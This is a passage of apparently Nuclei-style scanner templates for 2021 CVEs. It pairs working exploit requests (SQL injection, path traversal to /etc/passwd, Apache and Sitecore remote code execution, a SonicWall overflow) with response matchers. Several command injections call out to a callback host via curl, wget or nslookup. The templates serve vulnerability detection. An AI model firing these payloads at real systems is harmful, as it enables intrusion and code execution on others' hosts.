<13.0.8 - Blind SQL Injection","severity":"high"},"requests":[{"raw":["GET /wp-content/plugins/wp-statistics/readme.txt HTTP/1.1\nHost: {{Hostname}}\n","@timeout: 15s\nGET /wp-admin/admin.php?page=wps_pages_page&ID=0+AND+(SELECT+1+FROM+(SELECT(SLEEP(7)))test)&type=home HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["status_code_1 == 200","contains(body_1, \"WP Statistics\")"],"condition":"and"},{"type":"dsl","dsl":["duration_2>=7","status_code_2 == 500","contains(body_2, \">WordPress › Error<\") && contains(body_2, \">Your request is not valid.<\")"],"condition":"and"}]}]},{"id":"CVE-2021-44077","info":{"name":"Zoho ManageEngine ServiceDesk Plus - Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/RestAPI/ImportTechnicians"],"matchers-condition":"and","matchers":[{"type":"word","words":["
"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-25104","info":{"name":"WordPress Ocean Extra <1.9.5 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/?step=demo&page=owp_setup&a\">   HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["OceanWP",">"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-41282","info":{"name":"pfSense - Arbitrary File Write","severity":"high"},"requests":[{"raw":["GET /index.php HTTP/1.1\nHost: {{Hostname}}\n","POST /index.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n__csrf_magic={{csrf_token}}&usernamefld={{username}}&passwordfld={{password}}&login=\n","GET /diag_routes.php?isAjax=1&filter=.*/!d;};s/Destination/\\x3c\\x3fphp+var_dump(md5(\\x27CVE-2021-41282\\x27));unlink(__FILE__)\\x3b\\x3f\\x3e/;w+/usr/local/www/test.php%0a%23 HTTP/1.1\nHost: {{Hostname}}\n","GET /test.php HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["contains(body, 'c3959e8a43f1b39b0d1255961685a238')","status_code==200"],"condition":"and"}],"extractors":[{"type":"regex","name":"csrf_token","group":1,"regex":["(sid:[a-z0-9,;:]+)"],"internal":true,"part":"body"}]}]},{"id":"CVE-2021-25281","info":{"name":"SaltStack Salt <3002.5 - Auth Bypass","severity":"critical"},"requests":[{"raw":["POST /run HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\"client\":\"wheel_async\",\"fun\":\"pillar_roots.write\",\"data\":\"testing\",\"path\":\"../../../../../../../tmp/testing\",\"username\":\"1\",\"password\":\"1\",\"eauth\":\"pam\"}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["return","tag","jid","salt","wheel"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-42667","info":{"name":"Online Event Booking and Reservation System 2.3.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nname={{username}}&pwd={{password}}\n","GET /views/?v=USER&ID=1%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2Cmd5({{num}})%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%3B--%20- HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{md5(num)}}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-1472","info":{"name":"Cisco Small Business RV Series - OS Command Injection","severity":"critical"},"requests":[{"raw":["POST /upload HTTP/1.1\nHost: {{Hostname}}\nCookie: sessionid='`wget http://{{interactsh-url}}`'\nAuthorization: QUt6NkpTeTE6dmk4cW8=\nContent-Type: multipart/form-data; boundary=---------------------------392306610282184777655655237536\n\n-----------------------------392306610282184777655655237536\nContent-Disposition: form-data; name=\"option\"\n\n5NW9Cw1J\n-----------------------------392306610282184777655655237536\nContent-Disposition: form-data; name=\"destination\"\n\nJ0I5k131j2Ku\n-----------------------------392306610282184777655655237536\nContent-Disposition: form-data; name=\"file.path\"\n\nEKsmqqg0\n-----------------------------392306610282184777655655237536\nContent-Disposition: form-data; name=\"file\"; filename=\"config.xml\"\nContent-Type: application/xml\n\nqJ57CM9\n-----------------------------392306610282184777655655237536\nContent-Disposition: form-data; name=\"filename\"\n\nJbYXJR74n.xml\n-----------------------------392306610282184777655655237536\nContent-Disposition: form-data; name=\"GXbLINHYkFI\"\n\nconfigurationFILE://Configuration/config.xmlconfig-running\n-----------------------------392306610282184777655655237536--\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"body","words":["\"jsonrpc\":"]}]}]},{"id":"CVE-2021-31682","info":{"name":"WebCTRL OEM <= 6.5 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.jsp?operatorlocale=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\">","common/lvl5"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-43062","info":{"name":"Fortinet FortiMail 7.0.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/fmlurlsvc/?=&url=https%3A%2F%2Fgoogle.com"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","FortiMail Click Protection"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-21234","info":{"name":"Spring Boot Actuator Logview Directory Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../","{{BaseURL}}/log/view?filename=/windows/win.ini&base=../../../../../../../../../../","{{BaseURL}}/manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../","{{BaseURL}}/log/view?filename=/etc/passwd&base=../../../../../../../../../../"],"stop-at-first-match":true,"matchers-condition":"or","matchers":[{"type":"dsl","dsl":["regex('root:.*:0:0:', body)","status_code == 200"],"condition":"and"},{"type":"dsl","dsl":["contains(body, 'bit app support')","contains(body, 'fonts')","contains(body, 'extensions')","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2021-41773","info":{"name":"Apache 2.4.49 - Path Traversal and Remote Code Execution","severity":"high"},"requests":[{"raw":["GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1\nHost: {{Hostname}}\n","GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1\nHost: {{Hostname}}\n","POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\necho Content-Type: text/plain; echo; {{cmd}}\n"],"stop-at-first-match":true,"matchers-condition":"or","matchers":[{"type":"word","name":"RCE","words":["CVE-2021-41773-POC"]},{"type":"regex","name":"LFI","regex":["root:.*:0:0:"]}]}]},{"id":"CVE-2021-41648","info":{"name":"PuneethReddyHC action.php SQL Injection","severity":"high"},"requests":[{"method":"POST","path":["{{BaseURL}}/action.php"],"body":"proId=1'&addToCart=1","matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html"]},{"type":"word","part":"body","words":["Warning: mysqli_num_rows() expects parameter 1 to be","xdebug-error xe-warning"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-21972","info":{"name":"VMware vSphere Client (HTML5) - Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/ui/vropspluginui/rest/services/getstatus"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["VSPHERE-UI-JSESSIONID"],"condition":"and"},{"type":"regex","part":"body","regex":["(Install|Config) Final Progress"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-31602","info":{"name":"Hitachi Vantara Pentaho/Business Intelligence Server - Authentication Bypass","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/pentaho/api/userrolelist/systemRoles?require-cfg.js","{{BaseURL}}/api/userrolelist/systemRoles?require-cfg.js"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","Anonymous"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24495","info":{"name":"Wordpress Marmoset Viewer <1.9.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/marmoset-viewer/mviewer.php?id=http://","{{BaseURL}}/wp-content/plugins/marmoset-viewer/mviewer.php?id=1+http://a.com%27);alert(/{{randstr}}/);marmoset.embed(%27a"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","alert(/{{randstr}}/)"],"condition":"or"},{"type":"word","words":["Marmoset Viewer"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-39165","info":{"name":"Cachet <=2.3.18 - SQL Injection","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/v1/components?name=1&1%5B0%5D=&1%5B1%5D=a&1%5B2%5D=&1%5B3%5D=or+'a'='a')%20and%20(select%20sleep(6))--"],"redirects":true,"max-redirects":2,"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(content_type, \"application/json\")","contains(body, \"pagination\") && contains(body, \"data\")"],"condition":"and"}]}]},{"id":"CVE-2021-46422","info":{"name":"SDT-CW3B1 1.1.0 - OS Command Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/cgi-bin/admin.cgi?Command=sysCommand&Cmd={{cmd}}"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","name":"http","part":"interactsh_protocol","words":["dns"]}]}]},{"id":"CVE-2021-41174","info":{"name":"Grafana 8.0.0 <= v.8.2.2 - Angularjs Rendering Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/dashboard/snapshot/%7B%7Bconstructor.constructor(%27alert(document.domain)%27)()%7D%7D?orgId=1"],"skip-variables-check":true,"matchers-condition":"and","matchers":[{"type":"word","words":["Grafana","frontend_boot_js_done_time_seconds"],"condition":"and"},{"type":"regex","regex":["\"subTitle\":\"Grafana (v8\\.(?:(?:1|0)\\.[0-9]|2\\.[0-2]))"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","group":1,"regex":["\"subTitle\":\"Grafana ([a-z0-9.]+)"]}]}]},{"id":"CVE-2021-27748","info":{"name":"IBM WebSphere HCL Digital Experience - Server-Side Request Forgery","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/docpicker/internal_proxy/http/oast.me","{{BaseURL}}/wps/PA_WCM_Authoring_UI/proxy/http/oast.me"],"host-redirects":true,"max-redirects":2,"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","words":["Interactsh Server"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-40908","info":{"name":"Purchase Order Management v1.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /classes/Login.php?f=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nusername=test'+AND+(SELECT+4458+FROM+(SELECT(SLEEP(6)))JblN)+AND+'orQN'='orQN&password=test\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(header, \"text/html\")","contains(body, \"status\\\":\\\"incorrect\\\"\")"],"condition":"and"}]}]},{"id":"CVE-2021-27931","info":{"name":"LumisXP <10.0.0 - Blind XML External Entity Attack","severity":"critical"},"requests":[{"raw":["POST /lumis/portal/controller/xml/PageControllerXml.jsp HTTP/1.1\nHost: {{Hostname}}\n\n\n\n\n]>\n\n&xxe;\n\n"],"matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]}]}]},{"id":"CVE-2021-40870","info":{"name":"Aviatrix Controller 6.x before 6.5-1804.1922 - Remote Command Execution","severity":"critical"},"requests":[{"raw":["POST /v1/backend1 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nCID=x&action=set_metric_gw_selections&account_name=/../../../var/www/php/{{randstr}}.php&data=\n","GET /v1/{{randstr}}.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["0d95513363fd69b9fee712f333293654"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-25120","info":{"name":"Easy Social Feed < 6.2.7 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/admin.php?page=easy-facebook-likebox&access_token=a&type= HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["'type' : ''"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24991","info":{"name":"WooCommerce PDF Invoices & Packing Slips WordPress Plugin < 2.10.5 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/admin.php?page=wpo_wcpdf_options_page§ion=%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28document.domain%29+x%3D HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\" style=animation-name:rotation onanimationstart=alert(document.domain) x","WooCommerce PDF Invoices"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-41653","info":{"name":"TP-Link - OS Command Injection","severity":"critical"},"requests":[{"raw":["POST /cgi?2 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: text/plain\nReferer: http://{{Hostname}}/mainFrame.htm\nCookie: Authorization=Basic YWRtaW46YWRtaW4=\n\n[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6\ndataBlockSize=64\ntimeout=1\nnumberOfRepetitions=4\nhost=$(echo 127.0.0.1; curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}')\nX_TP_ConnName=ewan_ipoe_d\ndiagnosticsState=Requested\n","POST /cgi?7 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: text/plain\nReferer: http://{{Hostname}}/mainFrame.htm\nCookie: Authorization=Basic YWRtaW46YWRtaW4=\n\n[ACT_OP_IPPING#0,0,0,0,0,0#0,0,0,0,0,0]0,0\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"interactsh_request","words":["User-Agent: {{useragent}}"]}]}]},{"id":"CVE-2021-25899","info":{"name":"Void Aural Rec Monitor 9.0.0.1 - SQL Injection","severity":"high"},"requests":[{"raw":["POST /AurallRECMonitor/services/svc-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nparam1=dummy'+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))dummy)--+dummy¶m2=test\n"],"matchers":[{"type":"dsl","dsl":["duration>=5","status_code == 200","contains(content_type, \"text/html\")","contains(body, \"Contacte con el administrador\")"],"condition":"and"}]}]},{"id":"CVE-2021-27310","info":{"name":"Clansphere CMS 2011.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/clansphere/mods/clansphere/lang_modvalidate.php?language=language%27%22()%26%25%3Cyes%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&module=module"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-31581","info":{"name":"Akkadian Provisioning Manager - Information Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/pme/database/pme/phinx.yml"],"matchers-condition":"and","matchers":[{"type":"word","words":["host:","name:","pass:"],"condition":"and"},{"type":"word","negative":true,"words":["html>"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24947","info":{"name":"WordPress Responsive Vector Maps < 6.4.2 - Arbitrary File Read","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/admin-ajax.php?action=rvm_import_regions&nonce=5&rvm_mbe_post_id=1&rvm_upload_regions_file_path=/etc/passwd HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-22005","info":{"name":"VMware vCenter Server - Arbitrary File Upload","severity":"critical"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n","POST /analytics/telemetry/ph/api/hyper/send?_c&_i=test HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\ntest_data\n"],"req-condition":true,"matchers":[{"type":"dsl","dsl":["status_code_1 == 200","status_code_2 == 201","contains(body_1, 'VMware vSphere')","content_length_2 == 0"],"condition":"and"}]}]},{"id":"CVE-2021-37704","info":{"name":"phpfastcache - phpinfo Resource Exposure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/vendor/phpfastcache/phpfastcache/docs/examples/phpinfo.php","{{BaseURL}}/vendor/phpfastcache/phpfastcache/examples/phpinfo.php"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","words":["PHP Extension","PHP Version"],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","group":1,"regex":[">PHP Version <\\/td>([0-9.]+)"],"part":"body"}]}]},{"id":"CVE-2021-41826","info":{"name":"PlaceOS 1.2109.1 - Open Redirection","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/auth/logout?continue=//interact.sh"],"matchers-condition":"and","matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?://|//)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh.*$"]},{"type":"status","status":[302,301],"condition":"or"}]}]},{"id":"CVE-2021-41291","info":{"name":"ECOA Building Automation System - Directory Traversal Content Disclosure","severity":"high"},"requests":[{"raw":["GET /fmangersub?cpath=../../../../../../../etc/passwd HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"regex","regex":["root:.*:0:0:"]}]}]},{"id":"CVE-2021-42237","info":{"name":"Sitecore Experience Platform Pre-Auth RCE","severity":"critical"},"requests":[{"raw":["POST /sitecore/shell/ClientBin/Reporting/Report.ashx HTTP/1.1\nHost: {{Hostname}}\nContent-Type: text/xml\n\n\n\n    \n    foo\n    \n        \n            \n                2\n                \n                    <_comparison z:Id=\"4\" z:FactoryType=\"a:DelegateSerializationHolder\" z:Type=\"System.DelegateSerializationHolder\" z:Assembly=\"0\"\n                        xmlns=\"http://schemas.datacontract.org/2004/07/System.Collections.Generic\"\n                        xmlns:a=\"http://schemas.datacontract.org/2004/07/System\">\n                        \n                            mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\n                            \n                                \n                                \n                                Compare\n                                \n                                \n                                System.String\n                                System.Comparison`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]\n                            \n                            Start\n                            \n                            System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\n                            System.Diagnostics.Process\n                            System.Func`3[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]\n                        \n                        \n                            \n                            \n                            \n                            System.Diagnostics.Process Start(System.String, System.String)\n                            System.Diagnostics.Process Start(System.String, System.String)\n                            8\n                            \n                        \n                        \n                            \n                            \n                            \n                            Int32 Compare(System.String, System.String)\n                            System.Int32 Compare(System.String, System.String)\n                            8\n                            \n                        \n                    \n                \n                2\n                \n                    /c nslookup {{interactsh-url}}\n                    cmd\n                \n            \n        \n    \n\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"word","part":"body","words":["System.ArgumentNullException"]}]}]},{"id":"CVE-2021-40542","info":{"name":"Opensis-Classic 8.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/Ajax_url_encode.php?link_url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24275","info":{"name":"Popup by Supsystic <1.10.5 - Cross-Site scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin.php?page=popup-wp-supsystic&tab=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","words":[""],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-20038","info":{"name":"SonicWall SMA100 Stack - Buffer Overflow/Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET /{{prefix_addr}}{{system_addr}};{curl,http://{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'};{{prefix_addr}}{{system_addr}};{curl,http://{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'};?{{repeat(\"A\", 518)}} HTTP/1.1\nHost: {{Hostname}}\n"],"payloads":{"prefix_addr":["%04%d7%7f%bf%18%d8%7f%bf%18%d8%7f%bf"],"system_addr":["%08%b7%06%08","%64%b8%06%08"]},"attack":"clusterbomb","matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"interactsh_request","words":["User-Agent: {{useragent}}"]}]}]},{"id":"CVE-2021-20092","info":{"name":"Buffalo WSR-2533DHPL2 - Improper Access Control","severity":"high"},"requests":[{"raw":["GET /images/..%2finfo.html HTTP/1.1\nHost: {{Hostname}}\nReferer: {{BaseURL}}/info.html\n","GET /images/..%2fcgi/cgi_i_filter.js?_tn={{trimprefix(base64_decode(httoken), base64_decode(\"R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\"))}} HTTP/1.1\nHost: {{Hostname}}\nCookie: lang=8; url=ping.html; mobile=false;\nReferer: {{BaseURL}}/info.html\nContent-Type: application/x-www-form-urlencoded\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["application/x-javascript"]},{"type":"word","words":["/*DEMO*/","addCfg("],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"httoken","group":1,"regex":["base64\\,(.*?)\" border="],"internal":true}]}]},{"id":"CVE-2021-21802","info":{"name":"Advantech R-SeeNet - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/php/device_graph_page.php?device_id=%22zlo%20onerror=alert(1)%20%22"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"zlo onerror=alert(1) \"","Device Status Graph"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-42192","info":{"name":"KONGA 0.14.9 - Privilege Escalation","severity":"high"},"requests":[{"raw":["POST /login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\"password\": \"{{password}}\", \"identifier\": \"{{username}}\"}\n","POST /api/user/{{id}} HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nReferer: {{BaseURL}}\nContent-Type: application/json;charset=utf-8\n\n{\"token\": \"{{token}}\"}\n","PUT /api/user/{{id}} HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nReferer: {{BaseURL}}\nContent-Type: application/json;charset=utf-8\n\n{\"admin\": \"true\", \"passports\": {\"password\": \"{{password}}\", \"protocol\": \"local\"}, \"token\": \"{{token}}\", \"password_confirmation\": \"{{password}}\"}\n"],"req-condition":true,"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains(body_2, \"\\\"admin\\\":false\")","contains(body_3, \"\\\"admin\\\":true\")"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"id","group":1,"regex":["\"id\":([0-9]+)"],"internal":true,"part":"body"},{"type":"regex","name":"token","group":1,"regex":["\"token\":\"(.*)\""],"internal":true,"part":"body"}]}]},{"id":"CVE-2021-31250","info":{"name":"CHIYU TCP/IP Converter - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/if.cgi?redirect=setting.htm&failure=fail.htm&type=ap_tcps_apply&TF_ip=443&TF_submask=0&TF_submask=%22%3E%3Cscript%3Ealert%28{{randstr}}%29%3C%2Fscript%3E&radio_ping_block=0&max_tcp=3&B_apply=APPLY"],"headers":{"Authorization":"Basic OmFkbWlu"},"host-redirects":true,"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html"]},{"type":"word","part":"body","words":["\">"]}]}]},{"id":"CVE-2021-24987","info":{"name":"WordPress Super Socializer <7.13.30 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=the_champ_sharing_count&urls[]="],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{\"facebook_urls\":[[\"\"]]"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-3293","info":{"name":"emlog 5.3.1 Path Disclosure","severity":"medium"},"requests":[{"raw":["GET /t/index.php?action[]=aaaa HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["Warning","on line","expects parameter"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-25033","info":{"name":"Noptin < 1.6.5 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?noptin_ns=email_click&to=https://interact.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2021-3223","info":{"name":"Node RED Dashboard <2.26.2 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/ui_base/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd","{{BaseURL}}/ui_base/js/..%2f..%2f..%2f..%2fsettings.js"],"matchers-condition":"or","matchers":[{"type":"word","part":"body","words":["Node-RED web server is listening"]},{"type":"regex","part":"body","regex":["root:.*:0:0:"]}]}]},{"id":"CVE-2021-24276","info":{"name":"WordPress Supsystic Contact Form <1.7.15 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin.php?page=contact-form-supsystic&tab=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-28073","info":{"name":"Ntopng Authentication 